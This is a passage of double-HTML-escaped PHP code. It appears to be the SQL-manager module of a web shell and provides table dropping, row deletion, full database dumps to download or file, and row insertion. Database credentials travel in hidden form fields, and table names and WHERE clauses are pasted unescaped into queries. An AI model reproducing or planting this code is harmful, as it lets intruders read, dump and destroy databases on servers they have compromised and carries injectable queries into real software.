   if ($sql_act == &amp;quot;tbldrop&amp;quot;) {$sql_query = &amp;quot;DROP TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblempty&amp;quot;) {$sql_query = &amp;quot;&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;DELETE FROM `&amp;quot;.$v.&amp;quot;` \n&amp;quot;;} $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tbldump&amp;quot;) {if (count($boxtbl) &amp;gt; 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = &amp;quot;dump&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblcheck&amp;quot;) {$sql_query = &amp;quot;CHECK TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tbloptimize&amp;quot;) {$sql_query = &amp;quot;OPTIMIZE TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblrepair&amp;quot;) {$sql_query = &amp;quot;REPAIR TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;tblanalyze&amp;quot;) {$sql_query = &amp;quot;ANALYZE TABLE&amp;quot;; foreach($boxtbl as $v) {$sql_query .= &amp;quot;\n`&amp;quot;.$v.&amp;quot;` ,&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1).&amp;quot;;&amp;quot;; $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_act == &amp;quot;deleterow&amp;quot;) {$sql_query = &amp;quot;&amp;quot;; if (!empty($boxrow_all)) {$sql_query = &amp;quot;DELETE * FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;;} else {foreach($boxrow as $v) {$sql_query .= &amp;quot;DELETE * FROM `&amp;quot;.$sql_tbl.&amp;quot;` WHERE&amp;quot;.$v.&amp;quot; LIMIT 1;\n&amp;quot;;} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = &amp;quot;query&amp;quot;;}&lt;br /&gt;
   elseif ($sql_tbl_act == &amp;quot;insert&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    if ($sql_tbl_insert_radio == 1)&lt;br /&gt;
    {&lt;br /&gt;
     $keys = &amp;quot;&amp;quot;;&lt;br /&gt;
     $akeys = array_keys($sql_tbl_insert);&lt;br /&gt;
     foreach ($akeys as $v) {$keys .= &amp;quot;`&amp;quot;.addslashes($v).&amp;quot;`, &amp;quot;;}&lt;br /&gt;
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}&lt;br /&gt;
     $values = &amp;quot;&amp;quot;;&lt;br /&gt;
     $i = 0;&lt;br /&gt;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct.&amp;quot; (&amp;quot;;} $values .= &amp;quot;'&amp;quot;.addslashes($v).&amp;quot;'&amp;quot;; if ($funct) {$values .= &amp;quot;)&amp;quot;;} $values .= &amp;quot;, &amp;quot;; $i++;}&lt;br /&gt;
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}&lt;br /&gt;
     $sql_query = &amp;quot;INSERT INTO `&amp;quot;.$sql_tbl.&amp;quot;` ( &amp;quot;.$keys.&amp;quot; ) VALUES ( &amp;quot;.$values.&amp;quot; );&amp;quot;;&lt;br /&gt;
     $sql_act = &amp;quot;query&amp;quot;;&lt;br /&gt;
     $sql_tbl_act = &amp;quot;browse&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    elseif ($sql_tbl_insert_radio == 2)&lt;br /&gt;
    {&lt;br /&gt;
     $set = mysql_buildwhere($sql_tbl_insert,&amp;quot;, &amp;quot;,$sql_tbl_insert_functs);&lt;br /&gt;
     $sql_query = &amp;quot;UPDATE `&amp;quot;.$sql_tbl.&amp;quot;` SET &amp;quot;.$set.&amp;quot; WHERE &amp;quot;.$sql_tbl_insert_q.&amp;quot; LIMIT 1;&amp;quot;;&lt;br /&gt;
     $result = mysql_query($sql_query) or print(mysql_smarterror());&lt;br /&gt;
     $result = mysql_fetch_array($result, MYSQL_ASSOC);&lt;br /&gt;
     $sql_act = &amp;quot;query&amp;quot;;&lt;br /&gt;
     $sql_tbl_act = &amp;quot;browse&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   if ($sql_act == &amp;quot;query&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = &amp;quot;Query was empty&amp;quot;;} echo &amp;quot;&amp;lt;b&amp;gt;Error:&amp;lt;/b&amp;gt; &amp;lt;br&amp;gt;&amp;quot;.$sql_query_error.&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}&lt;br /&gt;
    if ((!$submit) or ($sql_act)) {echo &amp;quot;&amp;lt;table border=\&amp;quot;0\&amp;quot; width=\&amp;quot;100%\&amp;quot; height=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;quot;; if (($sql_query) and (!$submit)) {echo &amp;quot;Do you really want to:&amp;quot;;} else {echo &amp;quot;SQL-Query :&amp;quot;;} echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;sql_query\&amp;quot; cols=\&amp;quot;100\&amp;quot; rows=\&amp;quot;10\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($sql_query).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_act\&amp;quot; value=\&amp;quot;query\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_goto\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_goto).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;sql_confirm\&amp;quot; value=\&amp;quot;Yes\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;submit\&amp;quot; value=\&amp;quot;No\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;quot;;}&lt;br /&gt;
   }&lt;br /&gt;
   if (in_array($sql_act,$acts))&lt;br /&gt;
   {&lt;br /&gt;
    ?&amp;gt;&amp;lt;table border=&amp;quot;0&amp;quot; width=&amp;quot;100%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Create new table:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;newtbl&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_db); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;sql_newtbl&amp;quot; size=&amp;quot;20&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Create&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Dump DB:&amp;lt;/b&amp;gt;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $surl; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;act&amp;quot; value=&amp;quot;sql&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_act&amp;quot; value=&amp;quot;dump&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_db&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_db); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_login&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_login); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_passwd&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_passwd); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_server&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_server); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;sql_port&amp;quot; value=&amp;quot;&amp;lt;?php echo htmlspecialchars($sql_port); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;dump_file&amp;quot; size=&amp;quot;30&amp;quot; value=&amp;quot;&amp;lt;?php echo &amp;quot;dump_&amp;quot;.$SERVER_NAME.&amp;quot;_&amp;quot;.$sql_db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;; ?&amp;gt;&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=&amp;quot;submit&amp;quot; name=\&amp;quot;submit\&amp;quot; value=&amp;quot;Dump&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td width=&amp;quot;30%&amp;quot; height=&amp;quot;1&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;?php&lt;br /&gt;
    if (!empty($sql_act)) {echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;}&lt;br /&gt;
    if ($sql_act == &amp;quot;newtbl&amp;quot;)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;&amp;quot;;&lt;br /&gt;
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo &amp;quot;DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot; has been created with success!&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    else {echo &amp;quot;Can't create DB \&amp;quot;&amp;quot;.htmlspecialchars($sql_newdb).&amp;quot;\&amp;quot;.&amp;lt;br&amp;gt;Reason:&amp;lt;/b&amp;gt; &amp;quot;.mysql_smarterror();}&lt;br /&gt;
   }&lt;br /&gt;
   elseif ($sql_act == &amp;quot;dump&amp;quot;)&lt;br /&gt;
   {&lt;br /&gt;
    if (empty($submit))&lt;br /&gt;
    {&lt;br /&gt;
     $diplay = false;&lt;br /&gt;
     echo &amp;quot;&amp;lt;form method=\&amp;quot;GET\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;act\&amp;quot; value=\&amp;quot;sql\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_act\&amp;quot; value=\&amp;quot;dump\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_login\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_login).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_passwd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_passwd).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_server\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_server).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_port\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_port).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;sql_tbl\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($sql_tbl).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;SQL-Dump:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;DB:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_db\&amp;quot; value=\&amp;quot;&amp;quot;.urlencode($sql_db).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     $v = join (&amp;quot;;&amp;quot;,$dmptbls);&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Only tables (explode \&amp;quot;;\&amp;quot;)&amp;amp;nbsp;&amp;lt;b&amp;gt;&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;&amp;lt;/b&amp;gt;:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;dmptbls\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($v).&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($v)+5).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($dump_file) {$tmp = $dump_file;}&lt;br /&gt;
     else {$tmp = htmlspecialchars(&amp;quot;./dump_&amp;quot;.$SERVER_NAME.&amp;quot;_&amp;quot;.$sql_db.&amp;quot;_&amp;quot;.date(&amp;quot;d-m-Y-H-i-s&amp;quot;).&amp;quot;.sql&amp;quot;);}&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;File:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;sql_dump_file\&amp;quot; value=\&amp;quot;&amp;quot;.$tmp.&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($tmp)+strlen($tmp) % 30).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Download: &amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;sql_dump_download\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Save to file: &amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;sql_dump_savetofile\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Dump\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;lt;sup&amp;gt;1&amp;lt;/sup&amp;gt;&amp;lt;/b&amp;gt; - all, if empty&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     $diplay = true;&lt;br /&gt;
     $set = array();&lt;br /&gt;
     $set[&amp;quot;sock&amp;quot;] = $sql_sock;&lt;br /&gt;
     $set[&amp;quot;db&amp;quot;] = $sql_db;&lt;br /&gt;
     $dump_out = &amp;quot;download&amp;quot;;&lt;br /&gt;
     $set[&amp;quot;print&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;nl2br&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;&amp;quot;] = 0;&lt;br /&gt;
     $set[&amp;quot;file&amp;quot;] = $dump_file;&lt;br /&gt;
     $set[&amp;quot;add_drop&amp;quot;] = true;&lt;br /&gt;
     $set[&amp;quot;onlytabs&amp;quot;] = array();&lt;br /&gt;
     if (!empty($dmptbls)) {$set[&amp;quot;onlytabs&amp;quot;] = explode(&amp;quot;;&amp;quot;,$dmptbls);}&lt;br /&gt;
     $ret = mysql_dump($set);&lt;br /&gt;
     if ($sql_dump_download)&lt;br /&gt;
     {&lt;br /&gt;
      @ob_clean();&lt;br /&gt;
      header(&amp;quot;Content-type: application/octet-stream&amp;quot;);&lt;br /&gt;
      header(&amp;quot;Content-length: &amp;quot;.strlen($ret));&lt;br /&gt;
      header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.basename($sql_dump_file).&amp;quot;\&amp;quot;;&amp;quot;); &lt;br /&gt;
      echo $ret;&lt;br /&gt;
      exit;&lt;br /&gt;
     }&lt;br /&gt;
     elseif ($sql_dump_savetofile)&lt;br /&gt;
     {&lt;br /&gt;
      $fp = fopen($sql_dump_file,&amp;quot;w&amp;quot;);&lt;br /&gt;
      if (!$fp) {echo &amp;quot;&amp;lt;b&amp;gt;Dump error! Can't write to \&amp;quot;&amp;quot;.htmlspecialchars($sql_dump_file).&amp;quot;\&amp;quot;!&amp;quot;;}&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       fwrite($fp,$ret);&lt;br /&gt;
       fclose($fp);&lt;br /&gt;
       echo &amp;quot;&amp;lt;b&amp;gt;Dumped! Dump has been writed to \&amp;quot;&amp;quot;.htmlspecialchars(realpath($sql_dump_file)).&amp;quot;\&amp;quot; (&amp;quot;.view_size(filesize($sql_dump_file)).&amp;quot;)&amp;lt;/b&amp;gt;.&amp;quot;;&lt;br /&gt;
      }&lt;br /&gt;
     }&lt;br /&gt;
     else {echo &amp;quot;&amp;lt;b&amp;gt;Dump: nothing to do!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   if ($diplay)&lt;br /&gt;
   {&lt;br /&gt;
    if (!empty($sql_tbl))&lt;br /&gt;
    {&lt;br /&gt;
     if (empty($sql_tbl_act)) {$sql_tbl_act = &amp;quot;browse&amp;quot;;}&lt;br /&gt;
     $count = mysql_query(&amp;quot;SELECT COUNT(*) FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;);&lt;br /&gt;
     $count_row = mysql_fetch_array($count);&lt;br /&gt;
     mysql_free_result($count);     &lt;br /&gt;
     $tbl_struct_result = mysql_query(&amp;quot;SHOW FIELDS FROM `&amp;quot;.$sql_tbl.&amp;quot;`;&amp;quot;);&lt;br /&gt;
     $tbl_struct_fields = array();&lt;br /&gt;
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}     &lt;br /&gt;
     if ($sql_ls &amp;gt; $sql_le) {$sql_le = $sql_ls + $perpage;}&lt;br /&gt;
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}&lt;br /&gt;
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}&lt;br /&gt;
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}&lt;br /&gt;
     $perpage = $sql_tbl_le - $sql_tbl_ls;&lt;br /&gt;
     if (!is_numeric($perpage)) {$perpage = 10;}&lt;br /&gt;
     $numpages = $count_row[0]/$perpage; &lt;br /&gt;
     $e = explode(&amp;quot; &amp;quot;,$sql_order);&lt;br /&gt;
     if (count($e) == 2)&lt;br /&gt;
     {&lt;br /&gt;
      if ($e[0] == &amp;quot;d&amp;quot;) {$asc_desc = &amp;quot;DESC&amp;quot;;}&lt;br /&gt;
      else {$asc_desc = &amp;quot;ASC&amp;quot;;}&lt;br /&gt;
      $v = &amp;quot;ORDER BY `&amp;quot;.$e[1].&amp;quot;` &amp;quot;.$asc_desc.&amp;quot; &amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
     else {$v = &amp;quot;&amp;quot;;}&lt;br /&gt;
     $query = &amp;quot;SELECT * FROM `&amp;quot;.$sql_tbl.&amp;quot;` &amp;quot;.$v.&amp;quot;LIMIT &amp;quot;.$sql_tbl_ls.&amp;quot; , &amp;quot;.$perpage.&amp;quot;&amp;quot;;&lt;br /&gt;
     $result = mysql_query($query) or print(mysql_smarterror());&lt;br /&gt;
     echo &amp;quot;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Table &amp;quot;.htmlspecialchars($sql_tbl).&amp;quot; (&amp;quot;.mysql_num_fields($result).&amp;quot; cols and &amp;quot;.$count_row[0].&amp;quot; rows)&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=structure\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Structure&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=browse\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Browse&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_act=tbldump&amp;amp;thistbl=1\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Dump&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$sql_surl.&amp;quot;sql_tbl=&amp;quot;.urlencode($sql_tbl).&amp;quot;&amp;amp;sql_tbl_act=insert\&amp;quot;&amp;gt;[&amp;amp;nbsp;&amp;lt;b&amp;gt;Insert&amp;lt;/b&amp;gt;&amp;amp;nbsp;]&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;structure&amp;quot;) {echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Coming sooon!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
     if ($sql_tbl_act == &amp;quot;insert&amp;quot;)&lt;br /&gt;
     {&lt;br /&gt;
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}&lt;br /&gt;
      if (!empty($sql_tbl_insert_radio))&lt;br /&gt;
      {&lt;br /&gt;
&lt;br /&gt;
      }&lt;br /&gt;
      else&lt;br /&gt;
      {&lt;br /&gt;
       echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Inserting row into table:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
       if (!empty($sql_tbl_insert_q))&lt;br /&gt;
       {&lt;br /&gt;
        $sql_query = &amp;quot;SELECT * FROM `&amp;quot;.$sql_tbl.&amp;quot;`&amp;quot;;&lt;br /&gt;
        $sql_query .= &amp;quot; WHERE&amp;quot;.$sql_tbl_insert_q;&lt;br /&gt;
        $sql_query .= &amp;quot; LIMIT 1;&amp;quot;;&lt;br /&gt;
        $result = mysql_query($sql_query,$sql_sock) or print(&amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;.mysql_smarterror());&lt;br /&gt;
        $values = mysql_fetch_assoc($result);&lt;br /&gt;
        mysql_free_result($result);&lt;br /&gt;
       }&lt;br /&gt;
       else {$values = array();}&lt;br /&gt;
       echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\&amp;quot;1%\&amp;quot; bgColor=#333333 borderColorLight=#c0c0c0 border=1&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Field&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Type&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Function&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;lt;b&amp;gt;Value&amp;lt;/b&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;quot;;&lt;br /&gt;
       foreach ($tbl_struct_fields as $field)&lt;br /&gt;
